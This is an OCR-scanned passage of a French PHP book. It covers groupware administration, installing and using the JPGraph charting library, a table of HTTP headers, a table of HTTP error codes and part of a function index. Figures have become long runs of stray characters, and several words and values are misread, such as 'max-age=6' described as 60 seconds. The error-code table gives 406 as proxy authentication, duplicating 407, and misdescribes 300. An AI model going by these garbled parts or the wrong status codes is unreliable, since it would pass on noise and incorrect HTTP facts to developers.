souhaitez installer puis validez. Un message de confirmation de l'installation apparait. Rendez- 
vous alors a l'adresse qui vous sera indiquee en rouge pour administrer votre groupware. Vous 
devrez utiliser l'identifiant et le mot de passe par defaut : login admin et mot de passe admin. 



1414 



Solutions de travail collaboratif 



Principales fonctions 
Admin 

Depuis l'interface de l'administrateur, vous pouvez gerer les utilisateurs, les groupes 
d'utilisateurs, les projets, etc. Rendez-vous tout d'abord sur l'interface d'administration pour 
changer le mot de passe administrateur et creez les utilisateurs. Entrez dans Moregroupware 
avec les mots de passe par defaut. Dans la partie Admin, puis dans Gestionnaire d'utilisateurs, 
editez la fiche de l'utilisateur admin. Completez-la, choisissez le mot de passe et le langage 
appropries, puis validez. La procedure de creation des autres utilisateurs est similaire. Vous 
pouvez ensuite attribuer les droits et les acces aux modules pour chacun des utilisateurs dans le 
gestionnaire des droits, et repartir les membres dans differents groupes. 

Calendrier 

Dans ce module, chaque utilisateur pourra gerer son planning, visualiser et/ou modifier celui 
des autres membres. Vous pourrez creer des evenements ponctuels ou repetes. 

Contacts 

Cette rubrique vous permet de gerer des contacts aussi bien individuels que par groupe, par 
entreprise ou par fonction. Elle contient un moteur de recherche. 

Apercu 

L' apercu regroupe les evenements vous concernant qui ont ete planifies : vos rendez-vous, les 
taches que vous devez effectuer, etc. 

Projets 

Administrez les projets du groupe de travail : creez des projets, determinez les membres qui 
interviendront dessus, creez des riches de travail pour suivre 1'evolution de chacun et obtenir un 
apercu general de l'avancement du projet. 

Configuration 

Modifiez vos donnees personnelles, configurez votre webmail et determinez vos preferences 
quant a l'affichage des diverses rubriques. 

Taches 

Gerez les taches concernant les differents projets : vos taches personnelles, celles qui vous ont 
ete deleguees, celles que vous avez deleguees. Vous pourrez suivre leur progression. 

Webmail 

Envoyez et recevez vos e-mails. Attention, n'oubliez pas de bien indiquer votre adresse dans le 
champ adresse de retour lors de la configuration, sans quoi vos destinataires ne pourront pas 
repondre automatiquement a vos e-mails. 
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Autres 

Quelques solutions supplementaires : 

PHPProjekt, disponible a l'adresse http://www.phpprojekt.com/ ; 
Tutos, disponible a l'adresse http://www.tutos.org/ ; 
Twig, disponible a l'adresse http://twig.screwdriver.net/. 

Et il en existe bien d'autres... 



21.7. Graphiques 

JPGraph 

Presentation 

JPGraph est une bibliotheque en PHP qui permet de creer simplement et rapidement des 
graphiques en tous genres a partir de diverses sources. Avant d'aller plus loin, rendons grace a 
Johann Persson, createur de cet outil qu'il a bien voulu mettre librement a la disposition de tous 
les utilisateurs de PHP. 

La generation dynamique de graphiques a partir de donnees statiques ou de variables peut 
constituer un reel "plus" pour un site web. Cela offre une vision synthetique de bien des sujets, 
tout en agrementant des demonstrations qui, sinon, seraient bien austeres. Les applications 
pratiques d'un generateur de graphiques, tableaux et autres camemberts n'ont plus a faire leurs 
preuves ; en temoigne le large succes d'un logiciel comme MS Excel. Toutes ces solutions sont 
maintenant a la portee de votre site web grace a JPGraph. 

JPGraph est une librairie en PHP orientee objet. Toutes les informations necessaires a la 
realisation d'un graphique sont regroupees dans un seul fichier PHP. 



Plan de conversion 

Cdu 2001-11-22 all 2002-01-24> 



18/11 25/11 2/12 9/12 16/12 23/12 30/12 6/1 13/1 20/1 






Groups 1 Enna 

Etiquette 2 
Etiquette 3 

Groupe 2 Bob 

Etiquette 4 
Etiquette 5 
Bonus 

Etiquette 8 



Mov. ~j 



HMJUS LHhJYS LHHJYS L h I1J U ! LHMJUS LHhJYS LHHJYS LhrtJU! LrtHJI/! LHhjyS 



Ocsl] 






Figure 21 .1 4 : Un graphique genere a la volee par JPGraph 
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Graphiques 



Avant de vous lancer dans jPGraph, il faut vous assurer que vous disposez bien des outils 
necessaires : un PHP version 4.02 ou ulterieure ainsi que le support de la librairie gdi.x. Pour 
savoir si votre hebergeur repond aux conditions, faites un simple phpinf o ( ) et vous serez vite 
fixe. 




Vous pouvez consulter le chapitre "Les images et les animations Flash" 

RENVOI 

La generation d'un graphique ne demande que peu de lignes d'un code qui sera vite produit. 
Avant cela, il faut tout de meme passer par ['installation et la configuration de JPGraph. 

Jk Compatibility PHP 5 

^^\ La version 1.16 de JPGraph ne supporte pas encore PHP5. II vous faudra conserver 
ATTENTION une version anterieure de PHP (4.x) pour utiliser JPGraph ou bien attendre que la 
compatibility avec PHP5 soit annoncee sur le site officiel du projet 
www.aditus.nu/jpgraph. 

Installation 

Installez directement JPGraph depuis le fichier zippe present sur le CD-ROM, ou telechargez 
une version plus recente en ligne (s'il en existe une) a l'adresse http://www.aditus.nu/jpgraph/. 
Decompactez les fichiers dans un dossier specialement prevu a cet effet dans l'arborescence de 
votre serveur web. Le fichier zippe de JPGraph cree un dossier jpgraph- 1.1 6 au sein du repertoire 
dans lequel il s'installe (vous pouvez le renommer dossier). A la racine du dossier JPGraph, vous 
trouverez la licence de distribution du logiciel ainsi qu'un fichier README contenant des 
instructions d'installation (mais evidemment en anglais). Se trouve egalement dans le repertoire 
JPGraph un dossier src. 

Les dossiers Exemples et utils contiennent, comme leur nom l'indique, des exemples 
d'utilisation de JPGraph ainsi que divers utilitaires pour aller plus loin dans l'utilisation de 

JPGraph. 

Pour que vous puissiez travailler avec JPGraph, editez le fichier jpgraph.php situe dans le 
dossier src. Vous avez globalement peu de parametres a renseigner. Recherchez la ligne 
suivante : 

DEFINE("CACHE_DIR","/tmp/jpgraph_cache/"); 

Vous devez donner un dossier temporaire qui sera utilise par JPGraph. Faites bien attention 
qu Apache puisse y ecrire. Renseignez ensuite cette ligne : 

DEFINE("TTF_DIR","/usr/local/fonts/ttf/"); 

Donnez la le chemin qui pointe vers les polices TrueType installees sur votre systeme 
(traditionnellement C:\WINDOWS\FONTS sous Windows). 

Une fois ces deux lignes completees, vous pouvez appeler directement le fichier testsuit Jpgraph 
.php depuis un navigateur web, en ayant pris soin de vous assurer que votre serveur web 
fonctionnait bien. Vous verrez alors toutes les potentialites de JPGraph. 







rvo 








a. 






oa 


CD 


*• 


■a 


X 


3 


■p_ 


CD 


3 


n' 


3 


CD 

X 


Q5 


-o_ 


CD 




CD 


> 


O 


CO 




3 






CO 




a. 

CD 

v> 



1417 



Chapitre 21 Annexe A : des exemples ^applications 



CO 






CD 






■o 




CO 




CO 


o 


< 


CD 




CD 


£2. 


co 


CD 


E 


o 


c 


CD 


"5. 


c 


X 


a. 


«* 


CD 


CO 








CM 







REMARQUE 



£w cas deprobleme, appelez la police 

Certains des exemples donnes par jPGraph peuvent manquer a I'appel et ne pas 
fonctionner correctement. Dans la majeure partie des cas, cela vient d 'une police 
utilisee qui n'est pas presente sur votre systeme. Deux solutions s'offrent a vous : 
modifier le fichier d'exemple pour specifier une autre police ou bien installer celle qui 
manque a I'appel. 



Utilisation 

JPGraph etant orientee objet, la creation d'un graphique se resume a peu de choses. Voici un 
exemple de script : 

<?php 
include("local/jpgraph.php") ; 

Vous devez faire un appel hjpgraph.php dans chacun des fichiers de creation d'un graphique. A 
la place de "local", donnez le chemin vers le fichier jpgraph.php sur votre machine. 

Dans notre cas, nous souhaitons creer un graphique en toile d'araignee ; nous devons done 
egalement inclure le script jpgraph_spider.php. 

include("local/jpgraph_spider.php") ; 

Vous donnez ici le fichier de description du graphique que vous voulez creer. Vous trouverez 
dans le fichier README present a la racine du dossier JPGraph une liste des fonctions 
utilisables. Pour savoir comment utiliser ces fonctions, les differents exemples inclus dans 
JPGraph pourront vous servir. Consultez egalement l'aide pour obtenir d'autres informations. 

Les donnees doivent generalement est donnees via un tableau. 

$data = array(30, 40, 50, 60, 70); 

A chaque type de graphique correspond un objet (ici SpiderGraph) auquel est communiquee la 
taille de l'image. 

$graph = new SpiderGraph (250, 200, "auto") ; 
$plot = new SpiderPlot($data) ; 

Vous pouvez ensuite lancer la creation du graphique avec les valeurs que vous avez affectees a 
la variable $data. 

$graph->Add($plot); 
$graph->Stroke() ; 
?> 

Pour utiliser une image generee par la librairie JPGraph, appelez celle-ci directement dans une 
balise img, comme ceci : 

<img src="graphiquel.php" border=0 align=center width=300 height=200> 
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variables externes 



Annexe B : les en-tetes HTTP et les variables extemes 



Vous trouverez dans le tableau suivant une liste des en-tetes HTTP les plus courants, qu'ils 
soient emis par le client a destination du serveur (C->S) ou par le serveur a destination du client 
(S->C). 



Tableau 22.1 : En-tetes HTTP les plus courants 



En-tete Sens Signification, exemples de valeurs, variable 

externe associee 

Accept C->S Type de contenu que le navigateur est 

susceptible d'accepter (text/html, audio/x-aiff, 
image/jpeg, etc.) 

II s'agit d'une chaine de caracteres construite par 
la concatenation des differents MIME-type 
supportes, separes par une virgule. Une serie de 
types peut etre ponderee par un coefficient 
(indiquant une notion de preference) ; la chaine 
est alors suivie d'un point-virgule puis de 'q=' 
suivi du coefficient (<1). 

Exemple : 

text/xml, text /html ;q=0 . 9 , text /plain ;q=0 . 8 , 
image/jpeg, q=0 . 2 

Cette valeur est accessible depuis $_server [ "http_accept" ] . 

Accept-charset C->S Le type de caractere que le navigateur attend en 

reponse (ex. : ISO-8859-1). II s'agit d'une chaine 
de caracteres construite par la concatenation des 
differents encodages supportes, separes par une 
virgule. Une serie de types peut etre ponderee par 
un coefficient (indiquant une notion de 
preference) ; la chaine est alors suivie d'un point- 
virgule puis de 'q=' suivi du coefficient (<1). 

Exemple : 

ISO-8859-1, utf-8;q=0 .66, *;q=0.3 3 

Cette valeur est accessible depuis 

$_SERVER [ "HTTP_ACCEPT_CHARSET" ] . 

Accept-Encoding C->S Le type de compression que le navigateur est 

capable de supporter en reponse. 
II s'agit d'une chaine de caracteres construite par 
la concatenation des differentes compressions 
supportees, separees par une virgule. Une serie 
de types peut etre ponderee par un coefficient 
(indiquant une notion de preference) ; la chaine 
est alors suivie d'un point-virgule puis de 'q=' 
suivi du coefficient (<1). 

Exemple : 

Gzip, deflate, compress; q=0 . 9 

Cette valeur est accessible depuis 

$_SERVER [ " HTTP_ACCEPT_ENCODING " ] . 







INS 


< 




INS 








Dj" 


CD 


3=- 
3 


CD 
CO 


IE 

=! 


X 

CD 


a. 

CD 


-o 

CD 


CD 


=3 
CD 
C/J 


cd" 

CO 


CD 
V> 

CD 



1421 



Chapitre 22 Annexe B : les en-tetes HTTP et les variables externes 



z= 






to 
CO 

CD 


CO 

cu 


CO 

CD 


oo 


cu 


OS 


to 

X 


1= 


oo 
as 


z= 




.a 


z= 


Q3 










CM 


1 


> 


CM 







En-tete Sens Signification, exemples de valeurs, variable 

externe associee 

Accept-Language C->S La langue preferee de I'utilisateur. 

II s'agit d'une chaine de caracteres construite par 
la concatenation des differents codes de langue 
supportes, separes par une virgule. Une serie de 
types peut etre ponderee par un coefficient 
(indiquant une notion de preference) ; la chaine 
est alors suivie d'un point-virgule puis de 'q=' 
suivi du coefficient (<1). 

Exemple : 

f r , en;q=0 . 50 

Cette valeur est accessible depuis 

$_SERVER [ "HTTP_ACCEPT_LANGUAGE" ] . 

Referer C->S Adresse de la page depuis iaquelle la requete a 

ete effectuee 

Exemple : 

http : / /www. unannuairede lien. com/ 

Cette valeur est accessible depuis $_server [ "http_referer" ] . 
user-Agent C->S Chaine d'identification du client. 

Exemple : 

Mozilla/5.001 (windows; U; NT4 . ; en-us) 
Gecko/25250101 

Cette valeur est accessible depuis 

$_SERVER [ "HTTP_USER_AGENT" ] . 

Host C->S Norn de la machine cliente. 

En-tetes de gestion du cache 

cache-control S->C Parametrage du cache. 

Exemple : 

max-age=6 (duree de vie du document limitee a 60 secondes). 

Expires S->C Limite de validite du document. 

Exemple : 

Sat, 27 Apr 2002 16:00:53 GMT 

Pragma S->C Gestion du cache. 

Exemple : 

no-cache (le document ne doit pas etre mis en cache). 

Declaration du contenu du document 

content-Type S->C MIME-type du document emis par le serveur. 

Exemple : 

text /html 
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En-tete 



Sens 



Content-Encoding S->C 



Signification, exemples de valeurs, variable 
externe associee 

Type de compression (ou plus generalement 
codage) utilise pour le document emis par le 
serveur. 



Exemple : 

Compress 

Gzip 

Deflate 



Content-Length S->C 



Taille (en octets) du document emis par le 
serveur. 



Content-Language S->C 



Langue utilisee dans le document. 



Redirection 



Location 



s->c 



Indique au client de se tourner vers une autre 
adresse. 



Exemple : 

http : //www. autredomaine . com 
Informations serveur 

server S->C Identifiant du serveur. 



Exemple : 

Apache/1.3 .26 (Unix) PHP/4.2.2 

Date S->C Date et heure du serveur. 

Exemple : 

Sat, 27 Apr 2002 15:59:53 GMT 



En-tetes de mails 

From 

To 

Cc 

Bcc 

Reply-To 



Specifie I'adresse de I'emetteur du mail. 

Specifie les adresses des destinataires du mail. 

Specifie les adresses des personnes mises en copie du mail. 

Specifie les adresses des personnes mises en copie cachee du mail. 

Specifie I'adresse a laquelle le destinataire du mail doit repondre. 



Subject 



Titre du mail. 



MIME-Version 



Numero de version de la norme MIME utilisee. 
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Chapitre 23 



Annexe C : les 
erreurs HTTP 



Annexe C : les erreurs HTTP 



Tableau 23.1 : Les principaux codes d'erreur que peut retourner un serveur web 
Code Signification 

100-199 Les informations sont retournees. 

200 - 299 La requete a ete traitee avec succes. 

200 Aucun incident a signaler. 

204 Le "document" retourne est vide. 



300- 


399 


Demande de redirection. 


300 




Le serveur a besoin de plus d'informations. 


301 




Le document demande a ete deplace definitivement. 


302 




Le document demande a ete deplace temporairement (les requetes 
suivantes ne necessiteront pas forcement de redirection). 


303 




Le document doit etre demande a une autre adresse. 


400- 


499 


La requete est incomplete. 


400 




La requete n'est pas valide. 



401 L'authentification a echoue. 

Si ce n'est pas le resultat attendu, sous Apache, verifiez que les fichiers 
.htaccess et .htpasswd (le nom peut etre different) contiennent bien les 
nom et mot de passe que vous saisissez. 

403 Acces interdit. 

404 La page demandee au serveur n'a pu etre trouvee. 

405 La methode utilisee est refusee par le serveur. 

406 Authentication proxy exigee. 

407 Authentification proxy exigee. 

408 Delai d'attente de la requete du client depasse. 
41 1 Le serveur a besoin de la longueur de la requete. 
41 3 La requete est trap longue. 

500 - 599 Indique une erreur du serveur HTTP. 

500 Erreur interne du serveur. 

Assurez-vous de ne pas avoir cree une boucle comme, par exemple, une 
serie infinie de redirections (ce qui peut arriver lors des traitements 
automatiques des erreurs). 

504 Delai d'attente depasse. 
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Index des fonctions 
et methodes 



_clone, 244 
_construct, 220 
_destruct, 243 
_FILE_, 118 
_LINE_, 118 
_sleep, 242 
_wakeup, 242 



A 



abs, 346 
acos, 330 
acosh, 334 
addCSlashes, 386 
addSlashes, 357, 385 
ArrayObject, 246 

append, 246 

count, 247 

current, 248 

getlterator, 248 

key, 248 

next, 249 

offsetExists, 247 

offsetGet, 247 

offsetSet, 246 

offsetUnset, 247 

rewind, 249 

seek, 249 

valid, 248 

construct, 246 

array_change_key_case, 185 
array_chunk, 185 
array_count_values, 198 
array_diff, 199 
arrayjill, 183 
array_filter, 201 
array_flip, 179 
array_intersect, 199 
array_intersect_assoc, 200 



array_keys, 180 
array_key_exists, 182 
array_map, 202 
array_merge, 200 
array_merge_recursive, 201 
array_multisort, 196 
array_pad, 183 
array _pop, 190 
array_push, 190 
array_rand, 180 
array_reduce, 203 
array_reverse, 191 
array_search, 181 
array_shift, 191 
array_slice, 183 
array_splice, 184 
array_sum, 198 
array_unique, 179 
array_unshift, 191 
array_values, 179 
array_walk, 204 
arsort, 193 
asin, 331 
asinh, 334 
asort, 192 
atan, 332 
atan2, 332 
atanh, 335 



binDec, 344 
break, 154, 157 



B 



base64_encode, 966 
basename, 541 
base_convert, 344 
bcadd, 349 
bccomp, 351 
bcdiv, 350 
bcmod, 350 
bcmul, 350 
bcpow, 350 
bcscale, 349 
bcsqrt, 351 
bcsub, 349 



call_user_func, 172 
call_user_func_array, 172 
case, 156 
ceil, 336 
chdir, 539 
checkDate, 443 
checkDNSRR, 1267 
chgrp, 532 
chmod, 531 
chop, 399 
chown, 532 
chr, 363 

chunk_split, 401 
class_exists, 239 
clearStatCache, 559 
closeDir, 519 
compact, 186 
const, 222 
continue, 157 
convert_cyr_string, 394 
copy, 526 
cos, 330 
cosh, 333 
count, 178-179 
count_chars, 371 
crc32, 407 

create_function, 168 
crypt, 408 
curl_close, 1290 
curl_errno, 1295 
curl_error, 1295 
curl_exec, 1294 
curl_getinfo, 1294 
curl_init, 1290 
curl_setopt, 1290 
curl_version, 1295 
current, 187 
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date 



D 



date, 438 
DB 

affectedRows, 885 

autoCommit, 877 

commit, 878 

createSequence, 886 

disconnect, 875 

execute, 886 

executeMultiple, 886 

getAll, 882 

getAssoc, 882 

getCol, 881 

getListOf, 898 

getOne, 880 

getRow, 881 

isError, 888 

limitQueiy, 874 

netxld, 887 

prepare, 885 

provides, 899 

query, 873 

rollback, 878 
DBResult 

fetchlnto, 880 

fetchRow, 878 

numRows, 884 
decBin, 344 
decHex, 345 
decOct, 345 
default, 156 
define, 117 
deg2rad, 332 
dirname, 542 
diskfreespace, 562 
disk_free_space, 562 
disk_total_space, 563 
DNS_check_record, 1267 
DNS_get_mx, 1268 
do, 153 
DOMAttr 

isld, 1222 
DOMDocument 

createAttribute, 1218, 1226 

createAttributeNS, 1218, 1226 

createCDATASection, 1218, 

1226 

createComment, 1218, 1226 

createDocumentFragment, 1218 

createElement, 1218, 1227 

createElementNS, 1218, 1227 

createEntityReference, 1218 

createProcessinglnstruction, 

1218 

createTextNode, 1218, 1227 



getElementByld, 1218 

getElementByTagName, 1218 

importNode, 1218 

load, 1218, 1223 

loadHTML, 1218, 1224 

loadHTMLFile, 1219, 1224 

loadXML, 1219, 1224 

normalize, 1219 

relaxNGValidate, 1219 

relaxNGValidateSource, 1219 

save, 1219, 1225 

saveHTML, 1219, 1225 

saveHTMLFile, 1219, 1225 

saveXML, 1219, 1225 

schema Validate, 1219 

schema ValidateSource, 1219 

validate, 1219 

xinclude, 1219 
DOMElement 

getAttribute, 1221, 1230 

getAttributeNode, 1221 

getAttributeNodeNS, 1221 

getAttributeNS, 1221 

getElementByTagName, 1221 

getElementByTagNameNS, 

1221 

getElementsByTagName, 1230 

hasAttribute, 1221 

hasAttributeNS, 1221 

removeAttribute, 1221 

removeAttributeNode, 1222 

removeAttributeNS, 1222 

setAttribute, 1222 

setAttributeNode, 1222 

setAttributeNodeNS, 1222 

setAttributeNS, 1222 
DOMNode 

appendChild, 1220, 1228 

cloneNode, 1220, 1229 

hasAttributes, 1220 

hasChildNodes, 1220 

insertBefore, 1220 

isSameNode, 1220 

isSupported, 1221 

lookupNamespaceURI, 1221 

lookupPrefix, 1221 

normalize, 1221 

removeChild, 1221, 1229 

replaceChild, 1221, 1229 
DOMNodeList 

item, 1229 
DOMText 

isWhitespacelnElementContent, 

1222 

splitText, 1223 
DOMXPath 

query, 1230 
dropSequence, 887 



E 



each, 189 
easter_date, 444 
easter_days, 445 
echo, 115,357 
else, 149 
elseif, 150 
empty, 125 
end, 189 
endfor, 154 
endif, 151 
endwhile, 152 
ereg, 428 
eregi, 428 
eregi_replace, 427 
ereg_replace, 426 
error_reporting, 146 
escapeshellarg, 1312 
escapeshellcmd, 1312 
escapeSimple, 887 
Exception 

construct, 237 

getCode, 237 

getFile, 237 

getLine, 238 

getMessage, 237 

getTrace, 238 
exec, 1313 

exifjmageType, 1079 
exif_read_data, 1079 
exif_thumbnail, 1082 
exp, 333 
explode, 403 
extract, 186 



fclose, 494, 1273 
feof, 513, 1272 
fflush, 517 
fgetc, 497 
fgetcsv, 508 
fgets, 498, 1272 
fgetss, 505 
file, 502 
fileatime, 552 
filectime, 553 
fileGroup, 549 
filelnode, 553 
filemtime, 551 
fileOwner, 548 
filePerms, 560 
fileSize, 547 



1430 



imageFilledEllipse 



fileType, 545 
file_exists, 547 
file_get_contents, 504 
file_get_wrapper_data, 493 
floor, 337 
flush, 292 
fopen, 490 
for, 153 
foreach, 154 
fpassthru, 504 
fputs, 495, 1272 
fread, 497 
frenchToJD, 448 
fscanf, 499 
fseek, 514 
fSockOpen, 1271 
fstat, 558 
ftell, 513 
ftp_cdup, 1277 
ftp_chdir, 1277 
ftp_close, 1277 
ftp_connect, 1276 
ftp_delete, 1279 
ftp_exec, 1286 
ftpjget, 1280 
ftpjput, 1281 
ftp_get, 1279 
ftp_get_option, 1287 
ftpjogin, 1276 
ftpmdtm, 1288 
ftp_mkdir, 1278 
ftp_nb_continue, 1286 
ftp_nb_fget, 1286 
ftp_nb_fput, 1286 
ftp_nb_get, 1286 
ftp_nb_put, 1286 
ftp_nlist, 1278 
ftp_pasv, 1287 
ftp_put, 1280 
ftp_quit, 1277 
ftp_rawlist, 1278 
ftp_rename, 1279 
ftp_rmdir, 1279 
ftp_set_option, 1287 
ftp_site, 1286 
ftp_size, 1288 
ftp_systype, 1288 
ftruncate, 516 
function_exists, 169 
func_get_arg, 164 
func_get_args, 165 
func_num_args, 164 
fwrite, 494 



H 



gd_info, 1026 

getcwd, 538 

getDate, 437 

getElementByTagNameNS, 1218 

getEnv, 132 

getHostByAddr, 1266 

getHostByName, 1265 

getHostByNameL, 1266 

getlmageSize, 1078 

getMXRR, 1268 

getProtoByName, 1270 

getProtoByNumber, 1270 

getRandMax, 340 

getServByName, 1269 

getServByPort, 1269 

getTimeOfDay, 442 

getType, 122 

get_cfg_var, 281 

get_class, 238 

get_class_methods, 239 

get_class_vars, 239 

get_declared_classes, 241 

get_declared_interfaces, 241 

get_defined_functions, 170 

get_defined_vars, 131 

get_html_translation_table, 390 

get_included_files, 209 

get_meta_tags, 396 

get_object_vars, 240 

get_parent_class, 240 

glob, 524 

global, 160 

gmdate, 442 

gmmktime, 442 

gmstrftime, 442 

gregorianToJD, 447 

gzclose, 579 

gzcompress, 588 

gzdeflate, 590 

gzencode, 591 

gzeof, 586 

gzfile, 583 

gzgetc, 581 

gzgets, 582 

gzgetss, 585 

gzinflate, 591 

gzopen, 578 

gzpassthru, 584 

gzputs, 580 

gzread, 581 

gzrewind, 587 

gzseek, 587 

gztell, 586 

gzuncompress, 589 

gzwrite, 580 



haltMsg, 317 
header, 258 
headers_sent, 259 
hebrev, 395 
hebrevc, 395 
hexDec, 345 
htmlEntities, 389 
htmlSpecialChars, 357, 388 



I 



if, 148 

image2WBMP, 1032 
imageAlphaBlending, 1071 
imageArc, 1054 
imageChar, 1043 
imageCharUp, 1043 
imageColorAUocate, 1033 
imageColorAt, 1065 
imageColorClosest, 1036 
imageColorClosestAlpha, 1037 
imageColorClosestHWB, 1037 
imageColorDeallocate, 1040 
imageColorExact, 1035 
imageColorExactAlpha, 1036 
imageColorResolve, 1038 
imageColorResolveAlpha, 1038 
imageColorSet, 1039 
imageColorsForlndex, 1039 
imageColorsTotal, 1041 
imageColorTransparent, 1034 
imageCopy, 1065 
imageCopyMerge, 1066 
imageCopyMergeGray, 1068 
imageCopyResampled, 1070 
imageCopyResized, 1069 
imageCreate, 1027 
imageCreateFromGD, 1028 
imageCreateFromGD2, 1028 
imageCreateFromGD2part, 1030 
imageCreateFromGIF, 1028 
imageCreateFromJPEG, 1029 
imageCreateFromPNG, 1029 
imageCreateFromWBMP, 1029 
imageCreateFromXBM, 1029 
imageCreateFromXPM, 1030 
imageCreateTrueColor, 1028 
imageDashedLine, 1053 
imageDestroy, 1032 
imageEllipse, 1057 
imageFilledArc, 1055 
imageFilledEllipse, 1057 



1431 



imageFilledRectangle 



imageFilledRectangle, 1059, 1061 
imageFontHeight, 1043 
imageFontWidth, 1044 
imageFTBBox, 1048 
imageFTText, 1048 
imageGammaCorrect, 1039 
imageGD, 1030 
imageGD2, 1031 
imageGIF, 1031 
imageJPEG, 1031 
imageLine, 1053 
imageLoadFont, 1044 
imagePolygon, 1060 
imagePSBBox, 1051 
imagePSEncodeFont, 1051 
imagePSExtendFont, 1052 
imagePSFreeFont, 1052 
imagePSLoadFont, 1051 
imagePSSlantFont, 1052 
imagePSText, 1050 
imageRectangle, 1058 
imageRotate, 1071 
imageSetBrush, 1063 
imageSetPixel, 1053 
imageSetStyle, 1063 
imageSetThickness, 1064 
imageSetTile, 1064 
imageString, 1041 
imageStringUp, 1042 
imageSX, 1072 
imageSY, 1072 

ImageTrueColorToPalette, 1040 
imageTTFBBox, 1047 
imageTTFText, 1045 
imageWBMP, 1032 
imap_8bit, 1009 
imap_alert, 1011 
imap_append, 1004 
imap_base64, 1010 
imap_binary, 1010 
imap_body, 995 
imap_bodyStruct, 998 
imap_check, 983 
imap_clearFlag_full, 1002 
imap_close, 978 
imap_createMailbox, 1018 
imap_delete, 1003 
imap_deleteMailbox, 1019 
imap_errors, 1011 
imap_expunge, 1004 
imapJetchBody, 998 
imap_fetchHeader, 988 
imap_fetchStructure, 995 
imap_fetch_overview, 987 
imap_getMailboxes, 980 
imap_getSubscribed, 982 
imap_get_quota, 1017 
imap_header, 991 



imap_headerInfo, 990 
imap_headers, 986 
imap_last_error, 1012 
imapJistMailbox, 979 
imap_listSubscribed, 982 
imap_mail, 1008 
imap_mailboxMsgInfo, 983 
imap_mail_compose, 1009 
imap_mail_copy, 1005 
imap_mail_move, 1005 
imap_mime_header_decode, 
1011 

imap_msgno, 1006 
imap_num_msg, 984 
imap_num_recent, 985 
imap_open, 977 
imap_ping, 978 
imap_qprint, 1009 
imap_renameMailbox, 1019 
imap_reopen, 979 
imap_rfc822_parse_adrlist, 1007 
imap_rfc822_write_address, 1007 
imap_scanmailbox, 980 
imap_search, 1000 
imap_setFlag_full, 1002 
imap_set_quota, 1018 
imap_sort, 1001 
imap_status, 985 
imap_subscribe, 1005 
imap_uid, 1006 
imap_undelete, 1003 
imap_unsubscribe, 1006 
imap_utf7_decode, 1010 
imap_utf7_encode, 1010 
imap_utf8, 1011 
implode, 402 
include, 206 
include_once, 209 
instanceOf, 221 
IntegratedTemplate, 320 

get, 323 

loadTemplateFile, 321 

parse, 322 

parseCurrentBlock, 322 

setCurrentBloc, 321 

setRoot, 322 

setVariable, 321 

show, 320 

touchBlock, 323 
in_array, 182 
ip21ong, 1267 
isSet, 124 
is_array, 128, 178 
is_bool, 126 
is_dir, 543 
is_double, 127 
is_executable, 546 
is_file, 544 



is_finite, 328 
is_float, 127 
is_infinite, 328 
is_int, 126 
is_integer, 127 
isjink, 544 
is_long, 127 
is_nan, 328 
is_NULL, 130 
is_numeric, 127 
is_object, 129 
is_readable, 545 
is_real, 127 
is_resource, 130 
is_scalar, 129 
is_string, 128 
is_subclass_of, 240 
is_uploaded_file, 535 
is_writable, 546 
is writeable, 546 



J 



JDDayOfWeek, 449 
JDMonthName, 449 
JDToFrench, 448 
JDToGregorian, 446 
JDToJewish, 447 
JDToJulian, 448 
JDToUnix, 446 
jewishToJD, 447 
julianToJD, 448 



K 



key, 187 
krsort, 195 
ksort, 195 



lcg_value, 343 
ldap_add, 910 
ldap_bind, 909 
ldap_close, 909 
ldap_compare, 932 
ldap_connect, 909 
ldap_count_entries, 932 
ldap_delete, 914 
ldap_dn2ufn, 935 
ldap_err2str, 934 



1432 



ob end clean 



ldap_errno, 933 
ldap_error, 933 
ldap_explode_dn, 935 
ldap_first_attribute, 928 
ldap_first_entry, 926 
ldap_free_result, 933 
ldap_get_attributes, 926 
ldap_get_dn, 934 
ldap_get_entries, 923 
ldap_get_option, 938 
ldap_get_values, 929 
ldap_get_values_len, 930 
ldaplist, 919 
ldap_modify, 912 
ldap_mod_add, 913 
ldap_mod_del, 913 
ldap_mod_replace, 912 
ldap_next_attribute, 928 
ldap_next_entry, 926 
ldap_read, 920 
ldap_rename, 917 
ldap_search, 919 
ldap_set_option, 936 
ldap_sort, 931 
ldap_unbind, 909 
levenshtein, 382 
link, 526 
linklnfo, 557 
list, 185 
localTime, 444 
log, 333 
loglO, 333 
long2ip, 1267 
lstat, 556 
ltrim, 399 



M 



mail, 963 
max, 346 

mcal_append_event, 479 
mcal_close, 460 
mcal_create_calendar, 484 
mcal_date_compare, 454 
mcal_date_valid, 452 
mcal_days_in_month, 454 
mcal_day_of_week, 453 
mcal_day_of_year, 453 
mcal_delete_calendar, 484 
mcal_delete_event, 484 
mcal_event_add_attribute, 470 
mcal_event_init, 469 
mcal_event_set_alarm, 474 
mcal_event_set_category, 470 
meal event set class, 469 



mcal_event_set_description, 470 
mcal_event_set_end, 471 
mcal_event_set_recur_daily, 472 
mcal_event_set_recur_monthly 
_mday, 472 

mcal_event_set_recur_monthly 
_wday, 473 

mcal_event_set_recur_weekly, 
472 

mcal_event_set_recur_yearly, 473 
mcal_event_set_start, 471 
mcal_event_set_title, 469 
mcal_fetch_current_stream 
_event, 477 
mcal_fetch_event, 465 
mcal_is_leap_year, 454 
mcal_list_alarms, 484 
mcal_list_events, 460 
mcal_next_recurrence, 468 
mcal_open, 459 
mcal_popen, 459 
mcal_rename_calendar, 484 
mcal_reopen, 459 
mcal_snooze, 484 
mcal_store_event, 478 
mcal_time_valid, 452 
md5, 407 
md5_file, 592 
metaphone, 384 
method_exists, 239 
microtime, 443 
min, 347 
mkDir, 529 
mktime, 435 

move_uploaded_file, 536 
mssql_bind, 851 
mssql_close, 846 
mssql_connect, 845 
mssql_execute, 852 
mssql_fetch_array, 854 
mssql_fetch_field, 870 
mssql_fetch_row, 853 
mssql_field_length, 870 
mssql_field_name, 870 
mssql_field_seek, 871 
mssql_field_type, 871 
mssql_free_result, 856 
mssql_get_last_message, 858 
mssql_init, 851 

mssql_min_error_severity, 859 
mssql_min_message_severity, 859 
mssql_next_result, 855 
mssql_num_fields, 869 
mssql_num_rows, 857 
mssql_pconnect, 845 
mssql_query, 846 
mssql_result, 852 
mssql_rows_affected, 858 



mssql_select_db, 845 
mt_getRandMax, 342 
mt_rand, 342 
mt_srand, 341 
mysql_affected_rows, 710 
mysql_close, 702 
mysql_connect, 699 
mysql_db_names, 726 
mysql_errno, 711 
mysql_error, 711 
mysql_fetch_array, 706 
mysql_fetch_assoc, 707 
mysql_fetch_row, 705 
mysql_field_flags, 725 
mysql_field_len, 724 
mysql_field_name, 724 
